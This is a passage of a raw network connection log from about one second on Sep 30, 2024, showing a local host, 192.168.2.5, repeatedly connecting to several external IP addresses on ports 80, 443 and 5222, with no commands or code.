Sep 30, 2024 12:21:02.292002916 CEST	50163	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.292016983 CEST	443	50163	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.301733971 CEST	80	49787	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:02.301784039 CEST	49787	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:02.312105894 CEST	443	50149	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.312170982 CEST	50149	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.312185049 CEST	50149	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.317934990 CEST	80	50120	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.317997932 CEST	50120	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.321789026 CEST	50160	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.321949959 CEST	50162	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.322968960 CEST	50161	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.324351072 CEST	50164	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.326601982 CEST	50165	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.326643944 CEST	443	50165	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.326740980 CEST	50165	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.327406883 CEST	50166	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.327964067 CEST	50165	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.327977896 CEST	443	50165	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.329298973 CEST	5222	50164	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.329366922 CEST	50164	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.329562902 CEST	50164	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.331207991 CEST	80	49790	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:02.331304073 CEST	49790	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:02.333458900 CEST	80	50166	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.333523989 CEST	50166	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.333738089 CEST	50166	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.334419966 CEST	5222	50164	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.338505983 CEST	80	50166	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.338599920 CEST	50166	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.343576908 CEST	80	50166	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.354074955 CEST	443	50151	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.354152918 CEST	50151	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.354176998 CEST	50151	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.363406897 CEST	443	50161	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.365653992 CEST	5222	50153	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.365700960 CEST	50153	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.368726015 CEST	80	50162	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.368741035 CEST	5222	50160	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.399888039 CEST	50163	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.429814100 CEST	50164	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.429980993 CEST	50166	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.430593014 CEST	50165	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.432588100 CEST	50167	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.433408976 CEST	50168	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.433434963 CEST	443	50168	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.433495998 CEST	50168	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.434628010 CEST	50168	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.434640884 CEST	443	50168	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.435410023 CEST	50169	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.437545061 CEST	5222	50167	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.437663078 CEST	50167	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.437879086 CEST	50167	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.440193892 CEST	80	50169	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.440284967 CEST	50169	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.440459013 CEST	50169	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.442648888 CEST	5222	50167	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.443161964 CEST	80	50123	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.443208933 CEST	50123	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.446633101 CEST	443	50154	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.446710110 CEST	50154	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.446733952 CEST	50154	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.446821928 CEST	80	50169	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.446870089 CEST	50169	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.447412014 CEST	443	50163	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.451617956 CEST	80	50169	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.471405029 CEST	443	50165	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.480837107 CEST	80	50166	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.480850935 CEST	5222	50164	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.492830992 CEST	5222	50157	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.492921114 CEST	50157	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.528136969 CEST	50170	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.528150082 CEST	443	50170	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.528220892 CEST	50170	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.528788090 CEST	50167	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.528954983 CEST	50168	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.529469967 CEST	50169	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.531186104 CEST	50170	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.531199932 CEST	443	50170	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.532432079 CEST	50171	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.533143044 CEST	443	50156	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.533243895 CEST	50156	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.533252954 CEST	50156	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.534018040 CEST	50172	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.534034967 CEST	443	50172	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.534097910 CEST	50172	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.535300016 CEST	50172	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.535314083 CEST	443	50172	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.536509037 CEST	50173	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.539139986 CEST	5222	50171	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.539212942 CEST	50171	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.539448023 CEST	50171	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.542186022 CEST	80	50127	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.542248964 CEST	50127	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.543685913 CEST	80	50173	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.543837070 CEST	50173	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.544058084 CEST	50173	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.547014952 CEST	5222	50171	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.552874088 CEST	80	50173	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.552966118 CEST	50173	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.557727098 CEST	80	50173	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.571407080 CEST	443	50168	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.576925039 CEST	80	50169	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.576936007 CEST	5222	50167	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.583497047 CEST	443	50159	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.583585978 CEST	50159	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.583611012 CEST	50159	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.591026068 CEST	5222	50160	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.591089964 CEST	50160	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.622409105 CEST	50170	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.638653040 CEST	50171	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.638835907 CEST	50173	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.639110088 CEST	50172	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.641179085 CEST	50174	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.641313076 CEST	50175	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.641328096 CEST	443	50175	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.641396999 CEST	50175	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.642352104 CEST	50176	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.642704964 CEST	50175	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.642715931 CEST	443	50175	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.646081924 CEST	5222	50174	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.646152020 CEST	50174	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.646373987 CEST	50174	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.647322893 CEST	80	50176	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.647373915 CEST	50176	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.647505045 CEST	50176	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.651163101 CEST	5222	50174	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.652308941 CEST	80	50176	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.652357101 CEST	50176	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.657146931 CEST	80	50176	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.667407036 CEST	443	50170	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.671679974 CEST	443	50161	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.671753883 CEST	50161	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.671771049 CEST	50161	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.679405928 CEST	443	50172	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.688788891 CEST	80	50173	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.688800097 CEST	5222	50171	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.693727016 CEST	80	50130	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.693794966 CEST	50130	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.700139046 CEST	5222	50164	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.700196028 CEST	50164	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.735877037 CEST	50177	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.735917091 CEST	443	50177	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.735986948 CEST	50177	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.737188101 CEST	50177	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.737202883 CEST	443	50177	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.750650883 CEST	50174	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.750798941 CEST	50176	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.750916958 CEST	50175	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.752772093 CEST	50178	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.752923965 CEST	50179	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.752994061 CEST	443	50179	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.753093004 CEST	50179	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.753983974 CEST	50180	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.754353046 CEST	50179	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.754386902 CEST	443	50179	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.757671118 CEST	5222	50178	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.757739067 CEST	50178	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.757916927 CEST	50178	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.758794069 CEST	80	50180	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.758852959 CEST	50180	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.759007931 CEST	50180	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.762702942 CEST	5222	50178	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.763981104 CEST	80	50180	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.764071941 CEST	50180	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.769449949 CEST	80	50180	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.774326086 CEST	443	50163	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.774432898 CEST	50163	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.774432898 CEST	50163	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.791448116 CEST	443	50175	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.796895981 CEST	80	50176	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.796909094 CEST	5222	50174	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.806834936 CEST	443	50165	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.806955099 CEST	50165	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.806955099 CEST	50165	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.810753107 CEST	5222	50167	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.810813904 CEST	50167	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.846844912 CEST	50177	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.862893105 CEST	50178	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.863091946 CEST	50179	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.863600016 CEST	50180	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:02.865144968 CEST	50181	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.866251945 CEST	50182	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.866271973 CEST	443	50182	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.866357088 CEST	50182	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.867505074 CEST	50182	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.867516041 CEST	443	50182	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.868259907 CEST	50183	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.870042086 CEST	5222	50181	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.870177984 CEST	50181	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.870352030 CEST	50181	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.873064041 CEST	80	50183	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.873156071 CEST	50183	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.873303890 CEST	50183	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.875169992 CEST	5222	50181	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.878808022 CEST	80	50183	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.878869057 CEST	50183	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.884195089 CEST	80	50183	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:02.887396097 CEST	443	50177	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.893201113 CEST	443	50168	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.893266916 CEST	50168	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.893277884 CEST	50168	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.903409958 CEST	443	50179	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.908818960 CEST	80	50180	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.908828974 CEST	5222	50178	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:02.916009903 CEST	5222	50171	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.916204929 CEST	50171	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.943013906 CEST	80	50136	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:02.943244934 CEST	50136	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:02.959228992 CEST	50184	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.959316969 CEST	443	50184	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.959445000 CEST	50184	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.960527897 CEST	50184	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:02.960565090 CEST	443	50184	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:02.973686934 CEST	50181	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.973965883 CEST	50182	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.975577116 CEST	50183	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:02.977657080 CEST	50185	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.978755951 CEST	50186	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.978796005 CEST	443	50186	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.978864908 CEST	50186	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.980004072 CEST	50186	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:02.980017900 CEST	443	50186	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:02.980726957 CEST	50187	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.982532978 CEST	5222	50185	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.982597113 CEST	50185	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.982850075 CEST	50185	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.985554934 CEST	80	50187	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.985624075 CEST	50187	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.985796928 CEST	50187	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.987587929 CEST	5222	50185	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.989914894 CEST	80	50139	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:02.989970922 CEST	50139	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:02.990528107 CEST	80	50187	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:02.990585089 CEST	50187	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:02.995327950 CEST	80	50187	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:03.014554024 CEST	443	50170	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.014621019 CEST	50170	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.014631987 CEST	50170	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.015403986 CEST	443	50182	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.018106937 CEST	5222	50174	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:03.018160105 CEST	50174	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.023890972 CEST	443	50172	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.023947001 CEST	50172	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.023962021 CEST	50172	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.024780035 CEST	80	50183	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:03.024791002 CEST	5222	50181	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:03.068664074 CEST	50184	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.072166920 CEST	80	50142	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:03.072227955 CEST	50142	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:03.085669994 CEST	50185	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.085825920 CEST	50186	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.086390018 CEST	50187	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:03.088816881 CEST	50188	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.088943005 CEST	50189	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.089011908 CEST	443	50189	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.089082956 CEST	50189	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.090679884 CEST	50189	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.090708017 CEST	443	50189	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.091140032 CEST	50190	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.093751907 CEST	5222	50188	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.093821049 CEST	50188	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.094044924 CEST	50188	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.095906973 CEST	80	50190	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.095995903 CEST	50190	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.096159935 CEST	50190	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.098016977 CEST	80	50145	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:03.098083019 CEST	50145	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:03.098810911 CEST	5222	50188	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.100867033 CEST	80	50190	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.100918055 CEST	50190	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.105674028 CEST	80	50190	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.111426115 CEST	443	50184	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.127397060 CEST	443	50186	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.134481907 CEST	443	50175	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.134565115 CEST	50175	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.134588003 CEST	50175	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.135323048 CEST	5222	50178	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:03.135377884 CEST	50178	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:03.136748075 CEST	80	50187	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:03.136759043 CEST	5222	50185	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:03.182137012 CEST	50191	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.182192087 CEST	443	50191	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.182256937 CEST	50191	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.183404922 CEST	50191	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.183427095 CEST	443	50191	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.192308903 CEST	80	50148	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:03.192526102 CEST	50148	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:03.197047949 CEST	50188	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.197472095 CEST	50189	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.197961092 CEST	50190	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:03.199476957 CEST	50192	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.200779915 CEST	50193	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.200836897 CEST	443	50193	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.201828957 CEST	50194	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.201858044 CEST	50193	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.201884985 CEST	443	50177	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:03.201965094 CEST	50177	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.202965975 CEST	50177	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.203138113 CEST	50193	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.203165054 CEST	443	50193	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.204293013 CEST	5222	50192	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:03.204379082 CEST	50192	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.204623938 CEST	50192	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.206686974 CEST	80	50194	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:03.207005024 CEST	50194	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.207153082 CEST	50194	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.210335016 CEST	5222	50192	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:03.212605953 CEST	80	50194	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:03.212686062 CEST	50194	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.217509031 CEST	80	50194	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:03.218905926 CEST	443	50179	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.219018936 CEST	50179	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.222244024 CEST	50179	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.239411116 CEST	443	50189	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.248709917 CEST	80	50190	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.248728991 CEST	5222	50188	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:03.255883932 CEST	5222	50181	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:03.258920908 CEST	50181	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:03.283250093 CEST	50191	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:03.308939934 CEST	50192	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.309127092 CEST	50194	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:03.309261084 CEST	50193	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.311208010 CEST	50195	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:03.311376095 CEST	50196	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.311410904 CEST	443	50196	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.312246084 CEST	50197	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:03.312310934 CEST	50196	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.313503981 CEST	50196	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:03.313513994 CEST	443	50196	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:03.316015005 CEST	5222	50195	139.144.164.103	192.168.2.5
